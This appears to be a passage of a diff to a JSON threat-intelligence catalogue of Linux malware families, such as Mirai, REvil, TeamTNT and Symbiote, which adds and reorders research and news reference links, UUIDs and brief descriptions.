"https://blog.netlab.360.com/some_details_of_the_ddos_attacks_targeting_ukraine_and_russia_in_recent_days/", + "https://www.cadosecurity.com/technical-analysis-of-the-ddos-attacks-against-ukrainian-websites/", + "https://www.lacework.com/blog/mirai-goes-stealth-tls-iot-malware/", "https://www.politie.nl/nieuws/2019/oktober/2/11-servers-botnet-offline.html", "https://unit42.paloaltonetworks.com/new-mirai-variant-adds-8-new-exploits-targets-additional-iot-devices/", "https://unit42.paloaltonetworks.com/iot-vulnerabilities-mirai-payloads/", - "https://www.lacework.com/blog/mirai-goes-stealth-tls-iot-malware/", + "https://www.zscaler.com/blogs/security-research/threatlabz-analysis-log4shell-cve-2021-44228-exploit-attempts", + "https://www.fortinet.com/blog/threat-research/the-ghosts-of-mirai", + "https://www.trendmicro.com/en_us/research/22/d/cve-2022-22965-analyzing-the-exploitation-of-spring4shell-vulner.html", + "https://www.radware.com/getmedia/18d24c2d-c092-4a61-9ad6-ebb92b7a49b8/Alert_Realtek_SDK.aspx", + "https://cert.gov.ua/article/37139", "https://www.uptycs.com/blog/discovery-of-simps-botnet-leads-ties-to-keksec-group", "https://blog.trendmicro.com/trendlabs-security-intelligence/new-mirai-variant-expands-arsenal-exploits-cve-2020-10173/", + "https://blog.netlab.360.com/wo-men-kan-dao-de-wu-ke-lan-bei-ddosgong-ji-xi-jie/", "https://prod-blog.avira.com/katana-a-new-variant-of-the-mirai-botnet", "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", + "https://www.crowdstrike.com/blog/linux-mirai-malware-double-on-stronger-chips/", "https://techcommunity.microsoft.com/t5/azure-sentinel/hunting-for-omi-vulnerability-exploitation-with-azure-sentinel/ba-p/2764093", + "https://blog.netlab.360.com/rimasuta-spread-with-ruijie-0day-en/", + "https://medium.com/s2wblog/logs-of-log4shell-cve-2021-44228-log4j-is-ubiquitous-en-809064312039", + "https://blog.netlab.360.com/what-our-honeypot-sees-just-one-day-after-the-spring4shell-advisory-en/", "https://unit42.paloaltonetworks.com/mirai-compiled-for-new-processor-surfaces/", - "https://www.uptycs.com/blog/mirai-code-re-use-in-gafgyt", + "https://unit42.paloaltonetworks.com/hoaxcalls-mirai-target-legacy-symantec-web-gateways/", "https://blog.reversinglabs.com/blog/mirai-botnet-continues-to-plague-iot-space", + "https://www.tesorion.nl/en/resources/pdfstore/Report-OSINT-Russia-Ukraine-Conflict-Cyberaspect.pdf", "https://isc.sans.edu/diary/22786", "https://github.com/jgamblin/Mirai-Source-Code", "https://cujo.com/mirai-gafgyt-with-new-ddos-modules-discovered/", "https://blog.trendmicro.com/trendlabs-security-intelligence/with-mirai-comes-miori-iot-botnet-delivered-via-thinkphp-remote-code-execution-exploit/", + "https://krebsonsecurity.com/2016/10/source-code-for-iot-botnet-mirai-released/", "https://cybersecurity.att.com/blogs/labs-research/malware-hosting-domain-cyberium-fanning-out-mirai-variants", "https://www.youtube.com/watch?v=KVJyYTie-Dc", + "https://www.uptycs.com/blog/mirai-code-re-use-in-gafgyt", "https://www.bleepingcomputer.com/news/security/mirai-activity-picks-up-once-more-after-publication-of-poc-exploit-code/", "https://krebsonsecurity.com/2017/12/mirai-iot-botnet-co-authors-plead-guilty/", "https://www.stratosphereips.org/blog/2019/4/12/analysis-of-a-irc-based-botnet", - "https://krebsonsecurity.com/2016/10/source-code-for-iot-botnet-mirai-released/", - "https://www.fortinet.com/blog/threat-research/the-ghosts-of-mirai", + "https://thehackernews.com/2022/04/hackers-exploiting-spring4shell.html", + "https://community.riskiq.com/article/d8a78daf", + "https://www.cadosecurity.com/analysis-of-initial-in-the-wild-attacks-exploiting-log4shell-log4j-cve-2021-44228/", + "https://www.crowdstrike.com/blog/linux-targeted-malware-increased-by-35-percent-in-2021/", "https://synthesis.to/2021/06/30/automating_string_decryption.html", "http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/", "https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/", - "https://unit42.paloaltonetworks.com/cve-2021-32305-websvn/" + "https://unit42.paloaltonetworks.com/cve-2021-32305-websvn/", + "https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/" ], "synonyms": [ "Katana" @@ -3934,6 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"https://cujo.com/upx-anti-unpacking-techniques-in-iot-malware/", "https://www.microsoft.com/security/blog/2021/08/19/how-to-proactively-defend-against-mozi-iot-botnet/", "https://blog.centurylink.com/new-mozi-malware-family-quietly-amasses-iot-bots/", "https://www.nozominetworks.com/blog/overcoming-the-challenges-of-detecting-p2p-botnets-on-your-network/", + "https://www.youtube.com/watch?v=cDFO_MRlg3M", "https://blog.netlab.360.com/the-mostly-dead-mozi-and-its-lingering-bots/", "https://blog.netlab.360.com/mozi-another-botnet-using-dht/" ], @@ -3984,6 +4861,7 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.mrblack", + "https://www.botconf.eu/wp-content/uploads/2015/12/OK-P13-Liu-Ya-Automatically-Classify-Unknown-Bots-by-The-Register-Messages.pdf", "https://news.drweb.com/?i=5760&c=23&lng=en" ], "synonyms": [], @@ -3992,6 +4870,19 @@ "uuid": "fc047e32-9cf2-4a92-861a-be882efd8a50", "value": "MrBlack" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/elf.mumblehard", + "https://www.welivesecurity.com/wp-content/uploads/2015/04/mumblehard.pdf" + ], + "synonyms": [], + "type": [] + }, + "uuid": "5f78127b-25d3-4f86-8a64-f9549b2db752", + "value": "Mumblehard" + }, { "description": "Ransomware used against Linux servers.", "meta": { @@ -4107,9 +4998,11 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.penquin_turla", "https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/", - "https://www.blackberry.com/us/en/pdfviewer?file=/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-decade-of-the-rats.pdf", + "https://www.leonardo.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf", + "https://lab52.io/blog/looking-for-penquins-in-the-wild/", "https://securelist.com/big-threats-using-code-similarity-part-1/97239/", "https://securelist.com/an-overview-of-targeted-attacks-and-apts-on-linux/98440/", + "https://www.blackberry.com/us/en/pdfviewer?file=/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-decade-of-the-rats.pdf", "https://securelist.com/apt-trends-report-q2-2020/97937/", "https://www.leonardocompany.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf", "https://securelist.com/files/2017/04/Penquins_Moonlit_Maze_PDF_eng.pdf", @@ -4128,12 +5021,15 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.perlbot", - "https://jask.com/wp-content/uploads/2019/02/Shellbot-Campaign_v2.pdf", + "https://www.trendmicro.com/en_us/research/20/l/teamtnt-now-deploying-ddos-capable-irc-bot-tntbotinger.html", + "https://twitter.com/Nocturnus/status/1308430959512092673", "https://documents.trendmicro.com/assets/Perl-Based_Shellbot_Looks_to_Target_Organizations_via_C&C_appendix.pdf", "https://therecord.media/agents-raid-home-of-kansas-man-seeking-info-on-botnet-that-infected-dod-network/", - "https://www.trendmicro.com/en_us/research/20/l/teamtnt-now-deploying-ddos-capable-irc-bot-tntbotinger.html", + "https://sysdig.com/blog/malware-analysis-shellbot-sysdig/", "https://us-cert.cisa.gov/ncas/alerts/aa20-345a", - "https://twitter.com/Nocturnus/status/1308430959512092673", + "https://jask.com/wp-content/uploads/2019/02/Shellbot-Campaign_v2.pdf", + "https://blog.netlab.360.com/some_details_of_the_ddos_attacks_targeting_ukraine_and_russia_in_recent_days/", + "https://brianstadnicki.github.io/posts/malware-gitlab-perlbot/", "https://yoroi.company/research/outlaw-is-back-a-new-crypto-botnet-targets-european-organizations/", "https://unit42.paloaltonetworks.com/los-zetas-from-eleethub-botnet/" ], @@ -4159,6 +5055,19 @@ "uuid": "2ee05352-3d4a-448b-825d-9d6c10792bf7", "value": "Persirai" }, + { + "description": "A botnet with P2P and centralized C&C capabilities.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/elf.pink", + "https://blog.netlab.360.com/pink-en/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "67063764-a47c-4058-9cb2-1685ffa14fe8", + "value": "Pink" + }, { "description": "", "meta": { @@ -4166,8 +5075,10 @@ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.plead", "https://www.cyberandramen.net/home/blacktech-doesnt-miss-a-step-a-quick-analysis-of-a-busy-2020", "https://blogs.jpcert.or.jp/en/2020/11/elf-plead.html", - "https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/", "https://www.macnica.net/file/mpressioncss_ta_report_2019_2_nopw.pdf", + "https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/docs/vmw-exposing-malware-in-linux-based-multi-cloud-environments.pdf", + "https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/", + "https://cyberandramen.net/2021/02/11/blacktech-updates-elf-plead-backdoor/", "https://www.ironnet.com/blog/china-cyber-attacks-the-current-threat-landscape" ], "synonyms": [], @@ -4221,7 +5132,7 @@ "type": [] }, "uuid": "b6899bda-54e9-4953-8af5-22af39776b69", - "value": "Prometei" + "value": "Prometei (ELF)" }, { "description": "Unit 42 describes this as a malware used by Rocke Group that deploys an XMRig miner.", @@ -4259,13 +5170,15 @@ "https://intezer.com/blog/linux/elf-malware-analysis-101-linux-threats-no-longer-an-afterthought", "https://blog.netlab.360.com/qnap-nas-users-make-sure-you-check-your-system/", "https://www.anomali.com/blog/the-ech0raix-ransomware", + "https://www.ibm.com/downloads/cas/Z81AVOY7", "https://www.intezer.com/blog-seizing-15-active-ransomware-campaigns-targeting-linux-file-storage-servers/", + "https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/docs/vmw-exposing-malware-in-linux-based-multi-cloud-environments.pdf", "https://www.qnap.com/en/security-advisory/QSA-20-02", "https://www.intezer.com/blog/malware-analysis/when-viruses-mutate-did-suncrypt-ransomware-evolve-from-qnapcrypt", "https://www.intezer.com/blog-russian-cybercrime-group-fullofdeep-behind-qnapcrypt-ransomware-campaigns/", "https://unit42.paloaltonetworks.com/ech0raix-ransomware-soho/", "https://www.bleepingcomputer.com/news/security/qnap-warns-of-ech0raix-ransomware-attacks-roon-server-zero-day/", - "https://www.ibm.com/downloads/cas/Z81AVOY7" + "https://documents.trendmicro.com/assets/pdf/wp-backing-your-backup-defending-nas-devices-against-evolving-threats.pdf" ], "synonyms": [ "eCh0raix" @@ -4280,10 +5193,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.qsnatch", - "https://bin.re/blog/the-dga-of-qsnatch/", "https://www.kyberturvallisuuskeskus.fi/en/news/qsnatch-malware-designed-qnap-nas-devices", "https://us-cert.cisa.gov/ncas/alerts/aa20-209a", - "https://www.ncsc.gov.uk/files/NCSC%20CISA%20Alert%20-QNAP%20NAS%20Devices.pdf" + "https://bin.re/blog/the-dga-of-qsnatch/", + "https://www.trendmicro.com/en_us/research/21/l/the-evolution-of-iot-linux-malware-based-on-mitre-att&ck-ttps.html", + "https://www.ncsc.gov.uk/files/NCSC%20CISA%20Alert%20-QNAP%20NAS%20Devices.pdf", + "https://documents.trendmicro.com/assets/pdf/wp-backing-your-backup-defending-nas-devices-against-evolving-threats.pdf" ], "synonyms": [], "type": [] @@ -4291,6 +5206,19 @@ "uuid": "48389957-30e2-4747-b4c6-8b8a9f15250f", "value": "QSnatch" }, + { + "description": "Mandiant observed this backdoor being observed by UNC3524. It is based on the open-source Dropbear SSH source code. ", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/elf.quietexit", + "https://www.mandiant.com/resources/unc3524-eye-spy-email" + ], + "synonyms": [], + "type": [] + }, + "uuid": "6a5ab9ca-944c-4187-bdef-308516745d18", + "value": "QUIETEXIT" + }, { "description": "", "meta": { @@ -4304,6 +5232,20 @@ "uuid": "759f8590-a049-4c14-be8a-e6605e2cd43d", "value": "r2r2" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/elf.ragnarlocker", + "https://twitter.com/malwrhunterteam/status/1475568201673105409", + "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/analysis-and-protections-for-ragnarlocker-ransomware.html" + ], + "synonyms": [], + "type": [] + }, + "uuid": "5f96787e-fc9f-486b-a15f-f46c8179a4d5", + "value": "RagnarLocker (ELF)" + }, { "description": "", "meta": { @@ -4330,7 +5272,9 @@ "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", "https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", + "https://www.ic3.gov/Media/News/2021/211101.pdf", "https://securelist.com/ransomexx-trojan-attacks-linux-systems/99279/", + "https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/docs/vmw-exposing-malware-in-linux-based-multi-cloud-environments.pdf", "https://www.youtube.com/watch?v=qxPXxWMI2i4", "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf", "https://www.bleepingcomputer.com/news/security/ecuadors-state-run-cnt-telco-hit-by-ransomexx-ransomware/", @@ -4404,10 +5348,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.rekoobe", + "https://www.sekoia.io/en/walking-on-apt31-infrastructure-footprints/", + "https://decoded.avast.io/davidalvarez/linux-threat-hunting-syslogk-a-kernel-rootkit-found-under-development-in-the-wild/", + "https://twitter.com/billyleonard/status/1458531997576572929", "https://www.intezer.com/blog/malware-analysis/elf-malware-analysis-101-part-3-advanced-analysis/", "https://intezer.com/blog-linux-rekoobe-operating-with-new-undetected-malware-samples/", - "https://yoroi.company/research/shadows-from-the-past-threaten-italian-enterprises/", - "https://vms.drweb.com/virus/?i=7754026&lng=en" + "https://vms.drweb.com/virus/?i=7754026&lng=en", + "https://yoroi.company/research/shadows-from-the-past-threaten-italian-enterprises/" ], "synonyms": [], "type": [] @@ -4433,23 +5380,56 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.revil", - "https://www.crowdstrike.com/blog/how-big-game-hunting-ttps-shifted-after-darkside-pipeline-attack/", + "https://www.fincen.gov/sites/default/files/advisory/2021-11-08/FinCEN%20Ransomware%20Advisory_FINAL_508_.pdf", "https://otx.alienvault.com/pulse/60da2c80aa5400db8f1561d5", + "https://storage.courtlistener.com/recap/gov.uscourts.txnd.352371/gov.uscourts.txnd.352371.1.0_1.pdf", "https://us-cert.cisa.gov/ncas/current-activity/2021/07/04/cisa-fbi-guidance-msps-and-their-customers-affected-kaseya-vsa", - "https://www.crowdstrike.com/blog/hypervisor-jackpotting-ecrime-actors-increase-targeting-of-esxi-servers/", - "https://www.elliptic.co/blog/revil-revealed-tracking-ransomware-negotiation-and-payment", - "https://twitter.com/AdamTheAnalyst/status/1409499591452639242?s=20", - "https://github.com/f0wl/REconfig-linux", - "https://www.youtube.com/watch?v=ptbNMlWxYnE", + "https://www.br.de/nachrichten/deutschland-welt/mutmasslicher-ransomware-millionaer-identifiziert,Sn3iHgJ", + "https://www.justice.gov/opa/pr/ukrainian-arrested-and-charged-ransomware-attack-kaseya", + "https://www.darktrace.com/en/blog/staying-ahead-of-r-evils-ransomware-as-a-service-business-model/", "https://www.secureworks.com/blog/revil-ransomware-reemerges-after-shutdown-universal-decryptor-released", - "https://www.domaintools.com/resources/blog/the-most-prolific-ransomware-families-a-defenders-guide", + "https://ke-la.com/will-the-revils-story-finally-be-over/", "https://twitter.com/VK_Intel/status/1409601311092490248", "https://cybleinc.com/2021/07/03/uncensored-interview-with-revil-sodinokibi-ransomware-operators/", + "https://www.elliptic.co/blog/revil-revealed-tracking-ransomware-negotiation-and-payment", + "https://www.flashpoint-intel.com/blog/revil-disappears-again/", + "https://www.crowdstrike.com/blog/hypervisor-jackpotting-ecrime-actors-increase-targeting-of-esxi-servers/", + "https://storage.courtlistener.com/recap/gov.uscourts.txnd.351760/gov.uscourts.txnd.351760.1.0_3.pdf", + "https://analyst1.com/file-assets/History-of-REvil.pdf", + "https://home.treasury.gov/news/press-releases/jy0471", "https://twitter.com/VK_Intel/status/1409601311092490248?s=20", - "https://threatpost.com/linux-variant-ransomware-vmwares-nas/167511/", - "https://www.digitalshadows.com/blog-and-research/revil-analysis-of-competing-hypotheses/", + "https://www.flashpoint-intel.com/blog/interview-with-revil-affiliated-ransomware-contractor/", + "https://www.bleepingcomputer.com/news/security/revil-ransomware-shuts-down-again-after-tor-sites-were-hijacked/", "https://cybersecurity.att.com/blogs/labs-research/revils-new-linux-version", - "https://threatpost.com/ransomware-revil-sites-disappears/167745/" + "https://threatpost.com/ransomware-revil-sites-disappears/167745/", + "https://www.crowdstrike.com/blog/big-game-hunting-on-the-rise-again-according-to-ecrime-index/", + "http://www.fsb.ru/fsb/press/message/single.htm%21id%3D10439388%40fsbMessage.html", + "https://twitter.com/IntezerLabs/status/1452980772953071619", + "https://www.bbc.com/news/technology-59297187", + "https://russian.rt.com/russia/article/926347-barnaulec-rozysk-fbr-kibermoshennichestvo", + "https://twitter.com/AdamTheAnalyst/status/1409499591452639242?s=20", + "https://diicot.ro/mass-media/3341-comunicat-de-presa-2-08-11-2021", + "https://github.com/f0wl/REconfig-linux", + "https://www.reuters.com/technology/exclusive-governments-turn-tables-ransomware-gang-revil-by-pushing-it-offline-2021-10-21/", + "https://threatpost.com/linux-variant-ransomware-vmwares-nas/167511/", + "https://documents.trendmicro.com/assets/rpt/rpt-navigating-new-frontiers-trend-micro-2021-annual-cybersecurity-report.pdf", + "https://www.crowdstrike.com/blog/how-big-game-hunting-ttps-shifted-after-darkside-pipeline-attack/", + "https://malienist.medium.com/revix-linux-ransomware-d736956150d0", + "https://www.domaintools.com/resources/blog/the-most-prolific-ransomware-families-a-defenders-guide", + "https://therecord.media/us-arrests-and-charges-ukrainian-man-for-kaseya-ransomware-attack/", + "https://www.darkowl.com/blog-content/page-not-found-revil-darknet-services-offline-after-attack-last-weekend", + "https://angle.ankura.com/post/102hcny/revix-linux-ransomware", + "https://www.youtube.com/watch?v=ptbNMlWxYnE", + "https://www.advintel.io/post/storm-in-safe-haven-takeaways-from-russian-authorities-takedown-of-revil", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/docs/vmw-exposing-malware-in-linux-based-multi-cloud-environments.pdf", + "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-revil", + "https://krebsonsecurity.com/2021/11/revil-ransom-arrest-6m-seizure-and-10m-reward/", + "https://www.fbi.gov/wanted/cyber/yevgyeniy-igoryevich-polyanin", + "https://www.trendmicro.com/en_in/research/21/k/global-operations-lead-to-arrests-of-alleged-members-of-gandcrab.html", + "https://www.digitalshadows.com/blog-and-research/revil-analysis-of-competing-hypotheses/", + "https://www.youtube.com/watch?v=mDUMpYAOMOo", + "https://www.accenture.com/us-en/blogs/cyber-defense/moving-left-ransomware-boom" ], "synonyms": [ "REvix" @@ -4533,6 +5513,21 @@ "uuid": "9e5d83a8-1181-43fe-a77f-28c8c75ffbd0", "value": "Satori" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/elf.sbidiot", + "https://www.nozominetworks.com/blog/how-iot-botnets-evade-detection-and-analysis/", + "https://brianstadnicki.github.io/posts/malware-sbidiot-dec2021/", + "https://www.nozominetworks.com/blog/threat-intelligence-analysis-of-the-sbidiot-iot-malware/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "b4c20cf4-8e94-4523-8d48-7781aab6785d", + "value": "SBIDIOT" + }, { "description": "", "meta": { @@ -4579,6 +5574,7 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.slapstick", + "https://www.mandiant.com/resources/unc2891-overview", "https://www.fireeye.com/blog/threat-research/2020/11/live-off-the-land-an-overview-of-unc1945.html" ], "synonyms": [], @@ -4587,6 +5583,22 @@ "uuid": "fb3e0a1d-3a98-4cbd-ad7f-4bbb4b9a8351", "value": "SLAPSTICK" }, + { + "description": "This is an implant used by APT31 on home routers to utilize them as ORBs.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/elf.sowat", + "https://www.cert.ssi.gouv.fr/ioc/CERTFR-2021-IOC-003", + "https://imp0rtp3.wordpress.com/2021/11/25/sowat/", + "https://twitter.com/billyleonard/status/1417910729005490177", + "https://twitter.com/bkMSFT/status/1417823714922610689" + ], + "synonyms": [], + "type": [] + }, + "uuid": "c2866996-d622-4ee2-b548-a6598836e5ae", + "value": "SoWaT" + }, { "description": "", "meta": { @@ -4618,7 +5630,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.specter", - "https://blog.netlab.360.com/ghost-in-action-the-specter-botnet/" + "https://blog.netlab.360.com/ghost-in-action-the-specter-botnet/", + "https://blog.netlab.360.com/the-pitfall-of-threat-intelligence-whitelisting-specter-botnet-is-taking-over-top-legit-dns-domains-by-using-cloudns-service/" ], "synonyms": [], "type": [] @@ -4678,6 +5691,7 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.steelcorgi", + "https://www.mandiant.com/resources/unc2891-overview", "https://www.fireeye.com/blog/threat-research/2020/11/live-off-the-land-an-overview-of-unc1945.html", "https://yoroi.company/research/shadows-from-the-past-threaten-italian-enterprises/", "https://yoroi.company/research/opening-steelcorgi-a-sophisticated-apt-swiss-army-knife/" @@ -4729,8 +5743,53 @@ "uuid": "d2748a0c-8739-4006-95c4-bdf6350d7fa9", "value": "Suterusu" }, + { + "description": "A malware capable of capturing credentials and enabling backdoor access, implemented as a userland rootkit. It uses three methods for hiding its network activity, by hooking and hijacking 1) fopen/fopen64, 2) eBPF, 3) a set of libpcap functions.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/elf.symbiote", + "https://blogs.blackberry.com/en/2022/06/symbiote-a-new-nearly-impossible-to-detect-linux-threat" + ], + "synonyms": [], + "type": [] + }, + "uuid": "4339d876-768c-4cdf-941f-3f55a08aafca", + "value": "Symbiote" + }, { "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/elf.sysjoker", + "https://www.intezer.com/blog/malware-analysis/new-backdoor-sysjoker/", + "https://www.bleepingcomputer.com/news/security/new-sysjoker-backdoor-targets-windows-macos-and-linux/", + "https://blogs.vmware.com/security/2022/03/%e2%80%afsysjoker-an-analysis-of-a-multi-os-rat.html" + ], + "synonyms": [], + "type": [] + }, + "uuid": "c4b681ec-f5b5-433a-9314-07e06f739ba2", + "value": "SysJoker (ELF)" + }, + { + "description": "Cryptojacking botnet", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/elf.sysrvhello", + "https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/docs/vmw-exposing-malware-in-linux-based-multi-cloud-environments.pdf", + "https://www.lacework.com/sysrv-hello-expands-infrastructure/", + "https://www.riskiq.com/blog/external-threat-management/sysrv-hello-cryptojacking-botnet/" + ], + "synonyms": [ + "Sysrv" + ], + "type": [] + }, + "uuid": "d471083a-c8e1-4d9b-907e-685c9a75c1f9", + "value": "Sysrv-hello (ELF)" + }, + { + "description": "Since Fall 2019, Team TNT is a well known threat actor which targets *nix based systems and misconfigured Docker container environments. It has constantly evolved its capabilities for its cloud-based cryptojacking operations. They have shifted their focus on compromising Kubernetes Clusters. ", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.teamtnt", @@ -4740,13 +5799,20 @@ "https://documents.trendmicro.com/assets/white_papers/wp-tracking-the-activities-of-teamTNT.pdf", "https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/", "https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/", + "https://www.intezer.com/blog/malware-analysis/teamtnt-cryptomining-explosion/", "https://blog.aquasec.com/teamtnt-campaign-against-docker-kubernetes-environment", "https://www.cadosecurity.com/2020/08/17/teamtnt-the-first-crypto-mining-worm-to-steal-aws-credentials/", + "https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/docs/vmw-exposing-malware-in-linux-based-multi-cloud-environments.pdf", + "https://www.trendmicro.com/en_us/research/21/l/more-tools-in-the-arsenal-how-teamtnt-used-compromised-docker-hu.html", + "https://www.trendmicro.com/en_ae/research/21/k/teamtnt-upgrades-arsenal-refines-focus-on-kubernetes-and-gpu-env.html", + "https://tolisec.com/active-crypto-mining-operation-by-teamtnt/", "https://cybersecurity.att.com/blogs/labs-research/teamtnt-with-new-campaign-aka-chimaera", "https://www.intezer.com/wp-content/uploads/2021/09/TeamTNT-Cryptomining-Explosion.pdf", "https://www.lacework.com/teamtnt-builds-botnet-from-chinese-cloud-servers/", "https://www.cadosecurity.com/teamtnt-script-employed-to-grab-aws-credentials/", - "https://www.uptycs.com/blog/team-tnt-deploys-malicious-docker-image-on-docker-hub-with-pentesting-tools" + "https://www.uptycs.com/blog/team-tnt-deploys-malicious-docker-image-on-docker-hub-with-pentesting-tools", + "https://sysdig.com/blog/teamtnt-aws-credentials/", + "https://www.cyberark.com/resources/threat-research-blog/conti-group-leaked" ], "synonyms": [], "type": [] @@ -4849,17 +5915,26 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.tsunami", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/log4j-vulnerabilities-attacks", + "https://www.fortinet.com/blog/threat-research/recent-attack-uses-vulnerability-on-confluence-server", "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", "https://blog.aquasec.com/fileless-malware-container-security", + "https://www.cadosecurity.com/teamtnt-script-employed-to-grab-aws-credentials/", "https://securelist.com/an-overview-of-targeted-attacks-and-apts-on-linux/98440/", + "https://blog.netlab.360.com/public-cloud-threat-intelligence-202203/", "https://www.ibm.com/downloads/cas/WMDZOWK6?social_post=5483919673&linkId=131648775", "https://threatpost.com/muhstik-botnet-exploits-highly-critical-drupal-bug/131360/", + "https://blogs.juniper.net/en-us/security/muhstik-gang-targets-redis-servers", + "https://www.cadosecurity.com/analysis-of-initial-in-the-wild-attacks-exploiting-log4shell-log4j-cve-2021-44228/", "http://get.cyberx-labs.com/radiation-report", "https://www.lacework.com/blog/muhstik-takes-aim-at-confluence-cve-2021-26084/", "https://www.lacework.com/meet-muhstik-iot-botnet-infecting-cloud-servers/", - "http://researchcenter.paloaltonetworks.com/2017/04/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/", + "https://medium.com/s2wblog/logs-of-log4shell-cve-2021-44228-log4j-is-ubiquitous-en-809064312039", + "https://tolisec.com/multi-vector-minertsunami-botnet-with-ssh-lateral-movement/", "https://www.intezer.com/wp-content/uploads/2021/09/TeamTNT-Cryptomining-Explosion.pdf", - "https://www.cadosecurity.com/teamtnt-script-employed-to-grab-aws-credentials/" + "https://sysdig.com/blog/muhstik-malware-botnet-analysis/", + "http://researchcenter.paloaltonetworks.com/2017/04/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/", + "https://www.bleepingcomputer.com/news/security/log4shell-exploits-now-used-mostly-for-ddos-botnets-cryptominers/" ], "synonyms": [ "Amnesia", @@ -4913,25 +5988,38 @@ "value": "Unidentified Linux 001" }, { - "description": "This is an implant used by APT31 on home routers to utilize them as ORBs.", + "description": "Implant used by APT31 on compromised SOHO infrastructure, tries to camouflage as a tool (\"unifi-video\") related to Ubiquiti UniFi surveillance cameras. ", "meta": { "refs": [ - "https://malpedia.caad.fkie.fraunhofer.de/details/elf.unidentified_003", - "https://www.cert.ssi.gouv.fr/ioc/CERTFR-2021-IOC-003", - "https://twitter.com/billyleonard/status/1417910729005490177", - "https://twitter.com/bkMSFT/status/1417823714922610689" + "https://malpedia.caad.fkie.fraunhofer.de/details/elf.unidentified_004", + "https://www.sekoia.io/en/walking-on-apt31-infrastructure-footprints/" ], "synonyms": [], "type": [] }, - "uuid": "c2866996-d622-4ee2-b548-a6598836e5ae", - "value": "Unidentified ELF 003" + "uuid": "44a57915-2ec0-476f-9f20-b11082f5b5a4", + "value": "Unidentified ELF 004" + }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/elf.unidentified_005", + "https://ti.qianxin.com/blog/articles/SideCopy's-Golang-based-Linux-tool/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "d49402b3-9f2a-4d9a-ae09-b1509da2e8fd", + "value": "Unidentified 005 (Sidecopy)" }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.vermilion_strike", + "https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/docs/vmw-exposing-malware-in-linux-based-multi-cloud-environments.pdf", + "https://notes.netbytesec.com/2021/09/discovering-linux-elf-beacon-of-cobalt_18.html", "https://www.intezer.com/blog/malware-analysis/vermilionstrike-reimplementation-cobaltstrike/" ], "synonyms": [], @@ -4945,27 +6033,37 @@ "meta": { "refs": [ 